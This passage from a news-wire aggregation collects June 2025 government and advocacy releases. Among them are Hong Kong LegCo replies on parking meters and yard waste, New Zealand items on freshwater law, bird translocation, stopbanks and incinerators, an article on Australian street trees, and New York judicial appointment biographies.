spaces increased by over 10 per cent, while revenue from metered parking fees rose by more than 40 per cent, suggesting improved compliance with paid parking regulations.

Regarding enforcement against other forms of illegal occupation, section 4A of the Summary Offences Ordinance stipulates that anyone who leaves objects in a public place – such as pallets/shop goods to reserve spaces – without reasonable excuse, causing obstruction, inconvenience, or danger to others or vehicles, is liable to a Level 4 fine ($25,000) or three months’ imprisonment.

(3) As mentioned above, the new generation parking meter system is equipped with sensors to detect the usage status of parking spaces in real time. The purpose of collecting information is to provide motorists with locations of vacant on-street parking spaces in real time, and does not have the function of identifying number plate numbers.

Having said that, this information could assist the HKPF and the TD in identifying cases where metered spaces are occupied without payment, enabling targeted enforcement actions by the HKPF. The departments will continue to draw on experiences from other places and advancements in relevant technologies, actively exploring the adoption of new technologies to enhance the management and operational efficiency of metered spaces. The TD plans to conduct a two-month pilot scheme in the fourth quarter of 2025, adopting artificial intelligence sensors in targeted areas with greater demand for metered spaces and higher rates of illegal occupation of parking spaces. Depending on the success of the trial, we will expand the coverage of the scheme. Regarding number plate recognition systems, the TD remains open-minded and will assess their reliability alongside the cost-effectiveness of upgrading the meter system’s hardware and software holistically to determine their suitability for application in Hong Kong.

Thank you, President.

MIL OSI Asia Pacific News –

June 11, 2025
MIL-OSI New Zealand: Environment – Select committee announces support of law changes that will prevent councils from restricting harmful pollution of water – CCW

Source: Choose Clean Water – Tom Kay

A select committee report released today demonstrates Coalition parties support law changes that would prevent local government from being able to control pollution even when it is causing serious harm, say freshwater campaigners.

“The damage these changes would cause must not be underestimated. This is not only an attack on the health of our environment but also democracy as the proposals seek to give greater power to polluting industries and write local government out of regulating harmful pollution of freshwater,” says Choose Clean Water spokesperson Tom Kay.

“It beggars belief when you consider that the National-led Government came to power claiming to be champions of localism – they’ve thrown that out the window completely.”

For freshwater, two parts of the Environment Select Committee report are most significant; the proposals on Section 70 of the Resource Management Act and changes to farm plans, including more Ministerial control.

Currently, Section 70 says that councils cannot allow pollution that would cause “significant adverse effects on aquatic life” as a permitted activity. This means regional councils cannot allow for potentially polluting activities to happen without them going through a consenting process to assess whether they can avoid, remedy, or mitigate their impacts, even where an environment they want to operate in might already be polluted.

The Coalition parties support doing away with this and allowing polluting activities to go ahead, as long as the place those activities are occurring is already polluted and as long as there will be some reduction in that pollution over time.

“But it doesn’t make sense. It is laughable that the report suggests you could grant a consent for an activity to add pollution to a place or continue polluting it now as long as it reduces its pollution by a bit, later. Why would we say ‘We’ll make a waterbody really sick now so we can nurse it back to health over decades’!? Make it make sense.”

Even with standards for these permitted activities, campaigners regional councils will struggle to ensure they are sufficient to reduce or avoid “significant adverse effects on aquatic life” and will face significant lobbying to minimise any standards.

“This opens the door to more and worse pollution. Pollution that harms aquatic life inevitably has an impact on human lives, either directly due to illness or through impacts on livelihoods or taking away the things with love about the places we live in.”

The Coalition parties in the select committee also support changes that would bypass regional councils’ role in controlling pollution through farm plans.

Farm plans have been a largely unsuccessful attempt to reduce the impact of farming on the country’s freshwater over the last decade or more. In regions where they have been used, like Canterbury, they have been found to be unable to stop the degradation of communities’ waterways and drinking water sources.

“Not only is the value of farm plans in controlling pollution highly questionable,” says Kay, “the Select Committee’s proposal is to give Government the ability to support farm plans written and audited by polluting industries rather than regional councils, and to allow the Minister for the Environment to make the decision on which industry groups can play this role. This keeps regional councils at arms length from attempts to control pollution through farm plans, effectively writing them out as regulator.”

“This Government has demonstrated it has close and inappropriate relationships with some industry bodies. Having a Minister be responsible for such a decision opens the door to undue influence and allows for industry to capture the whole process around farm plans. We’re watching it happen now. This proposal effectively writes local government out of their regulatory role of controlling pollution.”

“It has never been clearer that the National-led Government is working for the polluters and not for the public. Our communities will pay for this through the impact on our quality of life, our drinking water sources, our opportunities to swim or fish, our pride in our beautiful environment, and our ability to be involved in local decision making.”

MIL OSI New Zealand News –

June 11, 2025
MIL-OSI Asia-Pac: LCQ13: Disposal of yard waste

Source: Hong Kong Government special administrative region

LCQ13: Disposal of yard waste
Question:

The Environmental Protection Department (EPD) set up Y·PARK, a yard waste recycling centre, in 2021, with the purpose of converting recycled yard waste into useful materials to reduce disposal at landfills and associated carbon emissions. Y·PARK has a target handling capacity of about 11 000 tonnes in the first year, which would gradually increase to an annual average of around 22 000 tonnes. However, information from the Government shows that Y·PARK’s throughput last year was 6 876 tonnes. Besides, earlier on some trucks were reportedly driven from Y·PARK carrying yard waste to landfills in the New Territories West for disposal, and the EPD subsequently explained that the yard waste in question was not acceptable as it contained a large amount of impurities. In this connection, will the Government inform this Council:

(1) of Y·PARK’s criteria for the recovery of yard waste, whether it has studied the reasons for the gradual decline in the amount of yard waste handled by Y·PARK in recent years, including whether this is affected by Y·PARK’s recovery criteria or the fact that yard waste producers recycle their own waste;

(2) as it is learnt that Y·PARK’s major sources of yard waste are (i) ‍construction works and (ii) clearance work arising from regular vegetation maintenance, whether there is a statistical breakdown of the amount of yard waste respectively from (i) and (ii) handled by Y·PARK from 2021 to date; of the amount of yard waste that was sent to but not accepted at Y·PARK over the past three years, and whether it has looked into how such yard waste was subsequently disposed of (such as conversion into biochar and being sent to landfills);

(3) given that according to a paper submitted by the Government to the Subcommittee to Study Policy Issues Relating to Municipal Solid Waste Charging, Recovery and Recycling of this Council in January 2023, a pilot biochar plant in EcoPark, which will further convert recyclable products of Y·PARK into biochar, has an estimated capability of converting about 6 000 tonnes of local woody waste into some 1 200 tonnes of biochar annually, of the amounts of waste handled and biochar produced since the plant came into operation, and whether such amounts could meet the targets; if not, when they are expected to meet the targets; and

(4) given that according to the report on Monitoring of Solid Waste in Hong Kong, the amounts of yard waste recovered and disposed in Hong Kong in 2023 were 10 400 tonnes and some 83 000 tonnes respectively, while the amount of yard waste handled by Y·PARK in the same year was 8 609 tonnes, whether it has assessed if there is room for improvement in Y·PARK’s handling capacity; whether the Government has further strategies in place to enhance the recovery rate of yard waste?

Reply:

President,

After the onslaught of Super Typhoon Mangkhut, the Environmental Protection Department (EPD) set up a temporary yard waste recycling centre, Y·PARK, in 2021 to collect and process yard waste generated from regular vegetation maintenance and public construction works on one hand, and to assist in treating large quantities of yard waste generated after emergency incidents such as super typhoons on the other. The service fees paid by the EPD to the contractor are not based on the amount of yard waste received, but on the quantity of recyclable products produced by the contractor, which reflects Y·PARK’s performance more accurately.

The reply to the question raised by the Hon Andrew Lam is as follows:

(1)To ensure the smooth operation of Y·PARK and the quality of the recyclable products, Y·PARK has established appropriate standards for yard waste recycling, including not accepting infected or infested wood, yard waste which is difficult to process such as tree stumps, pure twigs, leaves, grass clippings, or yard waste containing large amount of impurities. If yard waste is mixed with large amount of impurities, the chipping operations may be severely affected. For instance, Y·PARK’s wood chipper experienced mechanical failures due to metal rods hidden in the wood. Time and manpower were required to remove the rods, replace parts and repair the equipment. Such incidents could even halt the production line. Meanwhile, the quality of the recyclable products produced may be affected by impurities. For instance, plastics mixed into the recyclable products would limit their use in gardening. In this regard, the contractor of Y·PARK maintains communication with yard waste producers to explain how to properly separate waste at source to reduce instances where Y·PARK has to reject yard waste.
(2) Since its commencement of operation in 2021 up to April this year, Y·PARK has received a total of approximately 31 540 tonnes of yard waste, of which more than 50 per cent from construction works and about 40 per cent from routine vegetation maintenance. The EPD does not have the quantity of rejected yard waste and information on its final disposal means.

(3) The first Pilot Biochar Production Plant (PBPP) in Hong Kong established by the EPD was originally scheduled to commence production in November 2023, with an estimated handling capacity of processing about 6 000 tonnes of local wood materials and producing about 1 200 tonnes of biochar annually. The PBPP commenced its testing in May 2023, during which many technical issues were overcome and various operational conditions (including processing temperatures, duration, and different types of wood-based raw materials) were adjusted and tested, in order to identify the optimal operating conditions and ensure high-quality biochar can be produced with less energy consumption. The PBPP finally commenced production in October 2024. From the start of the PBPP’s testing stage to the end of April 2025, the PBPP has processed over 1 200 tonnes of local wood materials from yard waste, converting them into more than 270 tonnes of biochar. The purposes of setting up the PBPP are to explore the technical feasibility of converting local wood materials from yard waste into biochar, as well as to study the quality of the biochar produced and its practical applications in the local market. As such, the actual processing quantity of the PBPP is adjusted based on testing needs and is also affected by the supply of wood materials and local market demand for biochar applications. With the PBPP entering production stage for only about six months, the EPD will consolidate operational experiences with a view to gradually increasing its processing quantity upon establishing technical requirements and market applications.

(4) In order to further enhance the yard waste processing quantity of Y·PARK, the EPD are adopting a multi-pronged approach to increase the yard waste recycling rate. Measures include: (i) the EPD will continue to liaise with relevant government departments and other yard waste producers, encouraging them to adhere to the principles of reduce, reuse, and recycle, and treat and reuse yard waste on-site as far as possible, while yard waste that cannot be treated or reused on-site could be delivered to Y·PARK or other suitable recycling facilities for treatment; (ii) to encourage the Y·PARK contractor to recycle collected yard waste as far as possible to increase its recycling rate. The current contract stipulates that the service fees paid by the EPD to the contractor are based on the quantity of recyclable products produced, providing a financial incentive to the contractor; and (iii) in the long run, the Government reserves land in the New Territories North New Town to establish a larger-scale yard waste recycling facility to enhance yard waste handling capacity.
Issued at HKT 12:08

NNNN

CategoriesMIL-OSI

MIL OSI Asia Pacific News –

June 11, 2025
MIL-OSI New Zealand: Tīeke return! Remote Hauraki Gulf Island thriving after rat eradication

Source: NZ Department of Conservation

Date: 11 June 2025

It is the first official re-introduction of a native species since DOC and Ngāti Rehua eradicated rats from Rakitū in 2018.

“The Department of Conservation and Ngāti Rehua have a goal of more translocations with tieke being the first species to return,” says DOC Aotea Operations Manager Fletcher Beazley.

Formed from the remains of an eroded volcano, Rakitū was first discovered by Ngāti Rehua ancestors 800 years ago and has been a place of significance ever since.

Since 2018 when rats were eradicated, the island has seen a strong return of its unique flora and fauna including native birds and rare large-leaved forms of rangiora, tawa and kawakawa.

DOC and Ngāti Rehua are working together on restoring the nature of Rakitū says Fletcher. This work is making a difference, with clear evidence of nature bouncing back.

“Since rats were eradicated, we’ve seen the mauri/lifeforce returning to the motu. Without rats eating the seed, groves of young taraire trees are now appearing.

“As skink and gecko populations recover, DOC staff are now finding the tracking cards used for rodent surveillance are covered in lizard footprints.

“More translocations will only be possible if we restore the mauri of the forest, control predators and pests and by DOC, Council, Iwi and Community working together as one. By doing this the Mana of Aotea and Rakitū will be restored and the sounds of birdsong will be preserved for our mokopuna to enjoy,” says Fletcher.

Tīeke were once abundant through Aotearoa, including on Rakitū but are very susceptible to predation by rats. By 1964 Taranga/Hen Island was home to the last remaining population of North Island tīeke.

After several successful translocations from Taranga (Hen Island) in the 1960s, North Island tīeke now live on several island and mainland sanctuaries.

On Taranga (Hen Island), these taonga are cared for by Patuharakeke and Ngatiwai. The successful eradication of rats from Taranga (Hen Island) in 2011, with the support of both iwi and hapu, has created an environment where taonga species can thrive and has made a translocation like this possible.

The birds were carefully transported between Taranga (Hen Island) and Rakitū by helicopter.

Contact

For media enquiries contact:

Email: media@doc.govt.nz

MIL OSI New Zealand News –

June 11, 2025
MIL-OSI New Zealand: Stock damage to stopbanks puts community at risk

Source: Environment Canterbury Regional Council

Date: 11 Jun 2025

With the winter months here, we’re urging landowners to keep stock off stopbanks in wet conditions.

Stopbanks are our primary defence against river flooding in many areas of our region, protecting communities and preventing property and infrastructure damage.

The structural integrity of a stopbank is vital to its function, and livestock trampling and overgrazing can cause significant damage and lessen protection against floodwaters, particularly in wet conditions.

“Our stopbanks play an essential role in keeping us safe, managing river flows and minimising flood risks to prevent widespread damage, distress and even loss of life,” Rivers Manager David Aires said.

“It’s crucial stopbanks can do the job they are designed to do.”

Stock access weakens stopbanks

Animals can make ruts in the stopbank, particularly when it’s wet, or reduce grass cover through overgrazing. This creates weak spots that allow water to enter the stopbank, which may lead to the complete failure of the asset.

While we do permit some light grazing of sheep on stopbanks and adjacent land when conditions are suitable, we encourage landowners to keep their stopbanks free of all stock for the remainder of winter or when conditions are wet, and to let us know of any damage, so we can rectify.

“We appreciate that most farmers and lifestyle block owners are aware of their responsibilities when it comes to protecting our stopbanks and are doing the right thing,” David said.

“We want to ensure we get the message out to the few that are allowing this damage to occur so we can protect these vital community assets moving forward.”

What to do if you see damaged stopbanks

Stopbanks are one of the most important tools in Environment Canterbury’s flood protection toolkit, and we manage and maintain over 600 kilometres of them across the region.

No matter how well they are constructed and maintained, they are only as strong as the weakest link and vulnerable to damage from numerous sources. Landowners can be held responsible for damage and asked to pay for repairs under the Flood Protection and Drainage Bylaw.

“These stopbanks not only protect property and production worth billions of dollars but also ensure the safety of thousands of people,” David said.

If you see a damaged stopbank, please report it to us as soon as possible. You can call our customer advisory team on

0800 324 636 or email floodbylaw@ecan.govt.nz

Learn more about flood protection

MIL OSI New Zealand News –

June 11, 2025
MIL-Evening Report: Jacaranda, black locust and London plane: common street trees show surprising resilience to growing heat in Australia

Source: The Conversation (Au and NZ) – By Manuel Esperon-Rodriguez, Senior Lecturer in Ecology, Western Sydney University

Kokkai Ng/Getty Images

As Australian cities heat up and dry out, street trees are emerging as frontline defenders of urban liveability.

Street trees make city life more bearable during heatwaves. They also improve human health and wellbeing, filter pollutants and support biodiversity.

But as climate change intensifies droughts and dials up more extreme heat, can urban forests survive in a hotter, drier future?

To find out, we studied how ten of Australia’s most common non-native street trees grow and tolerate drought across seven cities. The familiar species we chose are the well-loved jacaranda and widely planted London plane tree as well as box elder, European nettle tree, honey locust, sweetgum, southern magnolia, callery pear, black locust and Chinese elm.

Unexpectedly, our new research shows several species tolerate drought better than predicted, including jacaranda and London plane. Some even put on growth spurts during droughts of unprecedented duration and heat. But others showed greater sensitivity than we had anticipated, including honey locust and black locust.

As cities plan for a hotter future, our research will help urban planners choose the toughest, most resilient street trees.

Penrith street trees faced the hottest conditions.
Author provided

What did we do?

Street trees cool cities both through their shade and by giving off water through transpiration. These effects can lower local temperatures by several degrees, which helps offset the extra heat trapped by roads, rooftops and hard surfaces.

But the trees we rely on for cooling are vulnerable to mounting pressures from climate change. Drought, heatwaves and limited soil and water availability in cities can all threaten tree health, growth and survival.

To test how these species were coping, we chose over 570 street trees in Adelaide, Melbourne and Sydney, as well as Mildura in regional Victoria, Mandurah south of Perth and Parramatta and Penrith in Western Sydney.

We extracted small cores of wood from the trunk, in a process that leaves the tree alive and largely unaffected. The oldest tree we sampled was a 70-year-old southern magnolia in Sydney.

Growth rings in these cores let us reconstruct their growth histories and assess how they responded both to long-term climate patterns and extreme events such as the Black Summer of 2019–20 and the Millennium Drought from 1997–2009.

How resilient are these trees?

What we found was both reassuring and surprising.

Across all seven cities, the fastest average growth for all species was recorded in Mildura in northern Victoria. Overall, the slowest growth was found in the warmest location – Penrith.

Some species behaved predictably. The black locust grew faster in cooler, wetter cities such as Melbourne, as expected, while honey locust and Chinese elms grew more slowly in hotter cities.

But others defied expectations. Species such as London plane and southern magnolia showed consistent growth trends across cities despite the difference in heat, while others varied depending on local conditions.

Crucially, the growth records showed many street trees responded positively to wetter conditions during the warmest months, most likely due to the longer growing season and increased access to water.

Surprisingly, species such as box elder and Callery pear actually increased their growth during the very hot periods over the Black Summer of 2019–20 as well as during wetter La Niña periods in 2021–22. This suggests these species have adapted to warm urban environments – or that care and watering was provided.

Jacarandas have become popular street trees in warmer cities.
Snowscat/Unsplash, CC BY-NC-ND

What happened during drought?

During drought, street trees generally demonstrated strong resistance. This means they maintained their growth during dry periods.

But their resilience – measured by their ability to bounce back to pre-drought growth rates – was often limited, especially in drier cities.

While many street trees can withstand short-term stress, this suggests repeated or prolonged droughts can still take a toll on their long-term health.

Interestingly, species identified as vulnerable in climate models did not always show greater sensitivity to drought or climate extremes in our real-world study.

Why? Local conditions and species-level characteristics such as leaf size, wood density and water use strategy may play a significant role in determining which individual trees will thrive as the climate changes.

We also know care provided by council staff or local residents is extremely useful. When trees are irrigated during stressful conditions, they can help get the tree through tough times.

Why no eucalypts?

During their growing season each year, many northern hemisphere trees produce growth rings. These rings make it possible to reliably reconstruct their growth histories using our methods.

But most eucalypts don’t form clear annual growth rings. This is why we didn’t include spotted gums and other common eucalypts seen on city streets.

Eucalypts tend to grow whenever conditions are favourable rather than being constrained by a strict annual cycle. Only a few native species reliably produce datable annual rings, such as snow gums and alpine ash. This is because they live in cold, high elevation areas, where winter consistently limits growth each year. These conditions aren’t found in any major Australian city.

What does this mean for city planners?

Our research shows that species selection matters a great deal.

Some street trees such as jacarandas, London plane and the European nettle tree can thrive even under extreme heat and drought, while honey locust and Chinese elms are more sensitive to local conditions.

Authorities can maximise the benefits of urban forests and reduce tree decline or loss by choosing resilient species and matching them to the specific climate of each city or neighbourhood.

As climate extremes become more common, even resilient species may face new challenges.

Planting and maintaining diverse, climate-adapted urban forests will help ensure our cities remain liveable, healthy, and green in the decades to come.

Mark G Tjoelker receives funding from The Australian Research Council.

Manuel Esperon-Rodriguez, Matthew Brookhouse, and Sally Power do not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and have disclosed no relevant affiliations beyond their academic appointment.

– ref. Jacaranda, black locust and London plane: common street trees show surprising resilience to growing heat in Australia – https://theconversation.com/jacaranda-black-locust-and-london-plane-common-street-trees-show-surprising-resilience-to-growing-heat-in-australia-257247

MIL OSI Analysis – EveningReport.nz –

June 11, 2025
MIL-OSI New Zealand: Zero Waste – Petition launched as Inquiry looms

Source: Zero Waste Network

On the eve of a major Board of Inquiry that will assess if a large-scale rubbish incinerator proposed for Te Awamutu can go ahead, the Zero Waste Network and allies are launching a new petition to keep the country incinerator-free.

“We want central government to ban new waste incinerators at a national level because of the serious human health, climate and air pollution impacts. The proposal in Te Awamutu would emit toxins like dioxin and heavy metals which are likely to result in premature deaths, infertility, increased rates of cancer and birth defects. There is no safe level of exposure to dioxin,” said Sue Coutts, spokesperson for the Network.

“We know that burning carbon-intensive wastes like plastics emit more greenhouse gases and pollutants than coal. The Te Awamutu proposal was cited by the EPA as having global climate implications.”

“Right now, small communities, often in provincial or rural areas, are being targeted by these incinerator companies. These communities are bearing the burden of stopping these toxic projects. This is why central government leadership is so important.”

“Environment Minister Penny Simmonds rightly called in the Te Awamutu proposal for consideration by a Board of Inquiry. This will allow a more thorough assessment of impacts than had it been considered at local government level. However, this process does not stop other projects from coming forward.”

“To get a sense of the aggressiveness of the industry, there were three projects that sought to be included under the Fast Track Approvals regime: this Te Awamutu project, one in Tolaga Bay on the East Cape, and a very large incinerator in Waimate. Only one of those projects, in Waimate, was ultimately included in the legislation’s initial listing, but is now unable to proceed because the land deal fell apart.”

“For the past five years, the Zero Waste Network and our allies have successfully resisted new incinerators on the front lines. We are now taking the fight to Parliament to deliver a lasting solution. Let’s keep Aotearoa incinerator free!”

MIL OSI New Zealand News –

June 11, 2025
MIL-OSI USA: Court Appointments Announced

Source: US State of New York

overnor Kathy Hochul today announced 17 appointments to the New York State Court of Claims, 5 appointments to the Supreme Court and 2 appointments to Family Court.

“Our judicial system works best when we have talented, qualified jurists on the bench,” Governor Hochul said. “These 24 individuals have the experience and knowledge to serve as members of the judiciary, and will play a critical role in the fair and impartial dispensation of justice across New York.”

As Judges of the Court of Claims:

Monica Wallace

Monica Piga Wallace was first elected to the Assembly in 2016. Wallace worked her way through college and law school, earning her undergraduate degree with honors from SUNY Binghamton, and her J.D., cum laude, from SUNY Buffalo Law School. Before her election to the Assembly, Monica spent much of her legal career as a law clerk in federal court, where she helped ensure that justice was served and that laws were applied equally to all parties appearing before the court. Monica also served on the faculty at her alma mater, SUNY Buffalo Law School, teaching students how the law can be used as a vehicle for positive social change.

Gregory McCaffrey

Gregory McCaffrey served as the District Attorney of Livingston County, New York; a position he held from May 2012 until December 2024. McCaffrey oversaw a team of legal professionals prosecuting serious criminal cases including homicides, violent felonies, and child sex offenses. Prior to this role, he practiced at Jones and Skivington Law Firm, focusing on litigation, municipal law, and criminal defense, and served as Town Attorney for Conesus, New York.

Earlier in his career, he was an Assistant District Attorney in Monroe County, where he handled a progression of increasingly complex felony cases. He holds a Juris Doctor from the University at Buffalo School of Law and a Bachelor of Arts in Political Science from Nazareth College of Rochester. McCaffrey was born and raised in Livingston County where he resides with his family.

John Bringewatt

John Bringewatt currently serves as the Monroe County Attorney. In that role, he oversees a team of attorneys responsible for all of the County’s civil legal work. He previously maintained a wide-ranging litigation practice at Harter Secrest & Emery LLP. Early in his career, he served as a Law Clerk to Judge Susan L. Carney of the U.S. Court of Appeals for the Second Circuit.

He holds a J.D. from the University of Michigan Law School and a B.A. in Political Science and Psychology from Colgate University.

Abby Perer

Abby Perer has served as in-house counsel for Syracuse University for nearly 10 years. In that role, she oversees all litigation and regulatory compliance matters. Before joining the University, Perer was a litigation associate for DLA Piper LLP, where she represented corporate and individual clients in commercial litigation, as well as civil and criminal investigations.

Perer was once a Legal Intern for the Office of NYS Attorney General Eric T. Schneiderman. She attended Brooklyn Law School for her JD, and Hamilton College for her BA. She is a resident of Fayetteville, New York.

Noel Mendez

A native New Yorker, Noel Mendez was born and raised in the Bronx. He attended Lehman College and graduated with a degree in theater. Before attending the University at Buffalo School of Law, Noel worked as a police officer in the NYPD. Since graduating from law school, Noel obtained a Master of Laws in securities regulation from Georgetown University Law Center and subsequently moved to the Capital Region, where he worked as a court attorney for the New York State Court of Appeals. He later became a law clerk to the Honorable Jenny Rivera.

Noel has held a variety of legal positions in the Capital Region since then. Most notably, he worked as a staff attorney for the Legal Aid Society of Northeastern New York and briefly as a prosecutor at the Albany County District Attorney’s Office. Most recently, Noel served as counsel to New York State Senator Jamaal T. Bailey.

Noel lives in Albany County with his wife, Marlene and daughter, Annabelle.

Natacha Carbajal-Evangelista

Natacha Carbajal-Evangelista serves as the General Counsel for the NYS Department of State. In this role, Natacha oversees the Office of General Counsel, which provides legal advice and support to the New York Secretary of State and the diverse programs, divisions, boards, and commissions housed within the Department.

Previously, Natacha served as Assistant Secretary for Labor & Workforce for New York State, leading the Statewide implementation of groundbreaking initiatives, including New York’s Paid Family Leave. Natacha also served as Senior Deputy Counsel and the Executive Deputy Superintendent for Operations at the NYS Department of Financial Services and Deputy Director at the NYS Workers’ Compensation Board.

Prior to joining State government, Natacha was a senior associate at BakerHostetler, serving as counsel to the SIPA Trustee for the liquidation of Bernard L. Madoff Investment Securities LLC (BLMIS). Natacha served as a Judicial Law Clerk to the Hon. Elizabeth S. Stong of the U.S. Bankruptcy Court, E.D.N.Y. and the Hon. Arthur J. Gonzalez, former Chief Judge of the U.S. Bankruptcy Court, S.D.N.Y.

Natacha is a graduate of Fordham Law School and Cornell University’s School of Industrial and Labor Relations.

Mary Lynn Nicolas-Brewster

Mary Lynn Nicolas-Brewster is the Executive Director of the Franklin H. Williams Judicial Commission, a permanent statewide commission dedicated to promoting racial and ethnic fairness in the court system. The Williams Commission, chaired by Hon. Shirley Troutman, Associate Judge of the New York State Court of Appeals, and Hon. Troy K. Webber, Associate Justice of the Appellate Division, First Department, strives to make the court system more responsive to the concerns of people of color and works to enhance diversity, equity and inclusion in the legal profession and the court system. The Commission’s namesake, Ambassador Franklin H. Williams, a distinguished attorney and civil rights leader, was a visionary and trailblazer who devoted his life to the pursuit of equal justice. The Commission stands as a testament to his life and legacy as the Commission pursues its mission to ensure justice and equity for all in the courts.

Prior to this position, Nicolas-Brewster, a former Village Judge with the Village of Spring Valley, served as Court Attorney-Referee for the New York State Supreme Court, Ninth Judicial District, and as a Hearing Officer for the Office of Court Administration. Nicolas-Brewster also held multiple positions at the Office of the Westchester County Attorney, including Associate County Attorney, Senior Assistant County Attorney, and Assistant County Attorney. She has also served as Assistant Solicitor General for the New York State Attorney General’s Office, Senior Appellate Court Attorney for the New York State Appellate Division, Second Judicial Department, and Pro Se Law Clerk with the United States Court of Appeals for the Second Circuit. She has also been a member of the adjunct faculty at SUNY-Rockland Community College in the Legal Studies Department.

Ms. Nicolas-Brewster obtained a J.D. from the New York University School of Law in 1992 and a B.A. in Literature and Rhetoric at Binghamton University, SUNY, in 1989.

Erin Guven

Erin Guven brings over 20 years of experience as an attorney dedicated to public interest to her new role as Court of Claims judge. In her most recent role as Westchester Family Court Support Magistrate, she conducted child support, spousal support and paternity hearings in a high-volume court. Erin has also held many other vital positions during her tenure including Court Attorney-Referee in the Supreme Court, 9th JD, Pro Bono Director & Staff Attorney at Legal Services of the Hudson Valley and Small Claims Assessment Review Hearing Officers. She is an active member of her legal and local communities and holds and undergraduate degree from Georgetown University and a JD from Brooklyn Law School.

Menachem Mirocznik

Menachem “Mendy” Mirocznik has served as a Court Attorney to the Hon. Orlando Marrazzo, Jr. in various Civil Courts since 2009. Since 2020, he has supported Justice Marrazzo in presiding over Richmond County’s Supreme Court, Civil Term. He conducts legal research and analysis, reviews cases, and drafts decisions. Between 2001 and 2008, he supported various Housing Court Judges for New York City’s Civil Court. He began his career in 1997 as a Legal Intern for Main Street Legal Services, representing indigent clients in cases regarding public assistance benefits and benefit termination.

Mirocznik is a graduate of Touro College, from which he obtained a Political Science B.A. He received his J.D. from CUNY School of Law and was the President of the Jewish Law Students Association. He has been an active member of Community Board 2 since 2010, a board member of the Jewish Community Center of Staten Island since 2014, and President of the Council of Jewish Organizations of Staten Island since 2012.

Jay Kim

Jay Kim is currently the Principal Law Clerk to the Hon. Dena E. Douglas, a New York State Supreme Court Justice in Kings County, Criminal Term. He started his career in public service in 2008 as an Assistant Corporation Counsel in the Tort Division of the New York City Law Department. He subsequently served as a Principal Law Clerk to the Hon. Theodore T. Jones (Dec.) and the Hon. Jenny Rivera, Associate Judges of the New York State Court of Appeals, from 2010 to 2013. After his Court of Appeals clerkship, he served as a Senior Counsel in the Labor & Employment Division of the New York City Law Department from 2013 to 2015 and as an attorney within the Office of Legal Services of the New York City Department of Education from 2015 to 2018. Kim obtained his J.D. from St. John’s University School of Law and his B.A. in Sociology from New York University.  He is a member of the Asian American Bar Association of New York and the Korean American Lawyers Association of Greater New York.

Denis Reo

Denis Reo began his career in the Unified Court System in 2004, working as a Secretary to the Honorable Carol Edmead. He then went to work for the Honorable George J. Silver in January 2005 and served as Judge Silver’s Court Attorney, Senior Court Attorney, Principal Court Attorney and Principal Law Clerk from 2005 through 2017. During this time, he was assigned to Civil Court, Kings County; Family Court, Bronx County; and Supreme Court, Civil Term, New York County. In July 2017 Judge Silver was appointed Deputy Chief Administrative Judge for New York City Courts and Denis was named a Special Assistant to the Deputy Chief Administrative Judge. He was promoted to Chief of Staff to the Deputy Chief Administrative Judge in January 2019. In August 2019 he was appointed Chief Clerk of the Supreme Court, Civil Term, New York County where he assisted the Administrative Judge overseeing daily court operations as well as managing 350 non-judicial personnel within the court. Since December 2024 he has served as Chief of Staff to Deputy Chief Administrative Judge Adam Silvera, assisting Judge Silvera in overseeing the trial courts within New York City.

Denis is a graduate of Sacred Heart University and St. John’s University School of Law. He resides in Farmingdale, NY with his wife and two children.

Ilene Fern

Ilene P. Fern is the Principal Law Clerk to the Honorable Lee A. Mayersohn of the 11th Judicial District of the New York State Supreme Court, a position she has held since 2021. Prior to that, Fern was the Principal Law Clerk to the Honorable Martin J. Schulman of the 11th Judicial District of the New York State Supreme Court from 1995-2020. From 1992 to 1994, Fern was the Senior Court Attorney to the Honorable Robert J. McDonald of the 11th Judicial District in the New York City Criminal Court. From 1989 to 1991, Fern was the Court Attorney to the Honorable Arnold N. Price in the New York City Civil Court. Fern was the President of the Queens County Women’s Bar Association from 1998-1999. She is currently a member of the Executive Board of the Brandeis Association. Fern obtained a J.D., from Jacob D. Fuchsberg Law Center at Touro University in 1985, where she was a Senior Editor of the Law Review, and a B.A., from the State University of New York at Binghamton in 1981.

Darlene Goldberg

Darlene Goldberg is a Principal Law Clerk for Hon. Caryn R. Fink with the NYS Unified Court System. Alongside Judge Fink, Goldberg researches and analyzes legal issues, advises on court proceedings and sentencing matters, drafts opinions, conducts discovery and pre-trial conferences, and leases with the Office of Court Administration. She previously operated her own criminal defense law firm for 13 years, specializing in major felonies through Nassau County’s indigent defense panel. She covered criminal cases ranging from misdemeanors to violent felonies and led counsel in both jury ad non-jury trials. She was also a Trial Attorney for the Legal Aid Society of Nassau County. She managed criminal cases from inception through disposition.

Goldberg volunteered with the Moreland Shelter and Birthday Wishes of Long Island, which she coordinated tutoring services for the homeless children residing at the shelter as well as temporary to permanent housing transitioning. Goldberg is a graduate of Fordham University’s School of Law and Boston University for her undergraduate degree. She resides in Melville with her family. Her husband is also a lawyer.

Gordon Cuffy

Gordon Cuffy was appointed by Governor Hochul in June 2025 to serve as an Acting Supreme Court Justice. Cuffy previously served as a Court of Claims Judge in Onondaga County Court, where he presided over felony criminal cases. He was appointed to the bench in 2017 by Governor Andrew Cuomo, becoming the first African-American judge to oversee felony matters in Onondaga County. Prior to his appointment, he served as Onondaga County Attorney under County Executive Joanie Mahoney and also worked as a prosecutor and as General Counsel to New York State Thruway Authority. He previously ran for County Court Judge in 2012.

James Ferreira

James H. Ferreria was appointed to the Court of Claims by Governor George E. Pataki on June 16, 2006 and confirmed by the Senate on June 21, 2006. Judge Ferreira was reappointed to the Court of Claims for a full nine year term by Governor Eliot Spitzer on April 30, 2007 and confirmed again by the Senate on June 19, 2007. One June 10, 2016 Judge Ferreira was reappointed by Governor Andrew Cuomo and the Senate confirmed Judge Ferreira to an additional nine year term on June 15, 2016. Judge Ferreira was additionally designated as an Acting Justice of the Supreme Court in 2014 in the Third Judicial District. Judge Ferreira presides over civil actions pending in the Court of Claims, Albany County Supreme Court and Schoharie County Supreme Court.

Judge Ferreira graduated from Cornell University in 1984, Syracuse University College of Law in 1989, cum laude, and the Maxwell School of Citizenship and Public Affairs at Syracuse University in 1989.

In 1989, Judge Ferreira began his legal career as a law clerk at the New York State Supreme Court, Appellate Division, Fourth Department. He then went on to work at the law firm of Harris Beach LLP as an associate in 1991. In 1995, he joined the New York State Attorney General’s office as a Deputy Bureau Chief in the Environmental Protection Bureau. He then worked between 1999 and 2006 at the New York State Department of Environmental Conservation in various capacities, including as Assistant Commissioner in the Office of Hearing and Meditation Services and as Deputy Commissioner and General Counsel.

Rhonda Tomlinson

